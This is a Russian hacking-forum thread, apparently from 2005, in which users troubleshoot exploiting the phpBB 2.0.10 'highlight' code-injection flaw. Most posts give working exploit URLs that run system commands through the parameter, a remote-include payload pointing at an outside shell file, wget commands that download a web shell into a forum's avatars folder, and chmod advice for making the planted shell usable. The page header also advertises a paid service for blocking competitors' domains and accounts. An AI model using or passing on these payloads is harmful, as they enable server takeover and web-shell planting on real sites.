phpBB>2.0.10 highlight

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости CMS / форумов
phpBB>2.0.10 highlight

Страница 1 из 2

Опции темы

Поиск в этой теме

Опции просмотра

highlight

16.11.2005, 18:03

*Van*

Постоянный

Регистрация: 14.08.2005

Сообщений: 378

С нами: 10915586

Репутация: 54

highlight

В общем, необходимо взломать форум phpbb 2.0.10 путём эксплуатации баги в highlight.
Мне не нужно взламывать конкретный форум, просто хочу научиться использовать эту багу.

Вот что я пробовал:

Код:

http://сайт/forum/viewtopic.php?p=337&highlight=%2527.$poster=`pwd`.%2527

Выдаёт(там где должно быть имя чела):

Код:

/pub/home/taymen30/сайт/forum

Потом пробую:

Код:

http://сайт/forum/viewtopic.php?p=337&highlight=%2527.$poster=`$cmd`.%2527&cmd=cd%20..;ls%20-l

Выдаёт:)\b#i

В чём я делаю ошибку?Может кто поможет...

𝕏 Twitter Reddit Telegram Копировать ссылку

16.11.2005, 18:26

k1b0rg

Тут может быть ваша реклама.

Регистрация: 30.07.2005

Сообщений: 1,243

С нами: 10937126

Репутация: 1316

viewtopic.php?t=275&cmd=ls&highlight='.passthru($H TTP_GET_VARS[cmd]).'

16.11.2005, 20:00

*Van*

Постоянный

Регистрация: 14.08.2005

Сообщений: 378

С нами: 10915586

Репутация: 54

k1borg, спасибо! Ты мне помог, опираясь на твою подсказку я нашёл де-то на других форумах другой код. Но теперь возникла другая проблема. Например, делаю такой запрос:

Код:

http://форум/viewtopic.php?p=228&highlight=%2527.system($_GET[cmd]).include%2527&cmd=ls%20-l%20/usr/home/сайт/public_html/директория форума/images

Всё ОК, выдаёт все файлы. Смотрю, у директории avatars права drwxrwxrwx
Делаю запрос:

Код:

http://сайт/viewtopic.php?p=228&highlight=%2527.system($_GET[cmd]).include%2527&cmd=wget%20http://мой сайт.narod.ru/shell.php%20-P%20/usr/home/сайт/public_html/форум/images/avatars/

Затем смотрюнет ли шелла через ls- его нет ни в директории avatars нигде! =(

17.11.2005, 00:27

*Van*

Постоянный

Регистрация: 14.08.2005

Сообщений: 378

С нами: 10915586

Репутация: 54

Всё, народ, справился сам...только одно не получается:я когда закачиваю шелл на форум, то у него права становятся: -rw-------

То есть открыть его я не могу. Что мне делать-то?

Нужно чтобы права стали: -rw-rw----

Закачиваю fetch'ем

Последний раз редактировалось Ван; 17.11.2005 в 00:32..

17.11.2005, 04:04

madnet

Умиротворенн

Регистрация: 09.12.2004

Сообщений: 996

С нами: 11272646

Репутация: 1384

chmod 755 shell.php

__________________

http://madnet.name - madnet - blog | homepage (Мысли, релизы, скрипты, софт)

http://antichat.ru - Лучший сайт по безопасности
irc.antichat.ru:7771 #antichat - общение online
ГАРАНТ ФОРУМА

Че за....

19.11.2005, 15:53

~~Extrim~~

Banned

Регистрация: 13.11.2005

Сообщений: 26

С нами: 10784333

Репутация: -6

Че за....

Че за белеберда коглда я ввожу:&highlight=%2527.$poster=`$cmd`.%2527&cmd=cd ..;ls -l
Получаю:
)\b#i

19.11.2005, 16:26

dim_ok

Green member - Level 3

Регистрация: 26.03.2005

Сообщений: 191

С нами: 11118506

Репутация: 185

попробуй воспользоваться поиском по форуму, уверен тем с таким содержанием не один десяток, а так возможно запрешено выполнение системных команд в php, пробуй инклюдинг - &test=http://site.com/shell.txt?&highlight=%2527.include($_GET[test]).%2527

__________________
Дайте мне точку опоры и я переверну землю!

irc.antichat.net #antichat

19.11.2005, 17:26

dim_ok

Green member - Level 3

Регистрация: 26.03.2005

Сообщений: 191

С нами: 11118506

Репутация: 185

Цитата:

Сообщение от Extrim

Еще вопрос:
Почему после того как я ввожу &highlight=%2527.$poster=`$cmd`.%2527&cmd=cd ..;ls -l
Все ОК
Потом:
viewtopic.php?p=61259&highlight=%2527.$poster=%60$ cmd%60.%2527&cmd=wget%20http://сайт.narod.ru/remview.php%20-P%20/usr/local/www/http/
и тут все начинаеться пишет:
)\b#i

при заливке wget'ом так оно и будет, а если не заливается - возможно wget не установлен на сервере или нет прав на запись

Цитата:

Сообщение от Extrim

Смотрю в
viewtopic.php?p=61259&highlight=%2527.$poster=%60$ cmd%60.%2527&cmd=ls usr/local/www/http
И файлика чвоего не наблюдаю почемуто это так ????

его там может и не быть

__________________
Дайте мне точку опоры и я переверну землю!

irc.antichat.net #antichat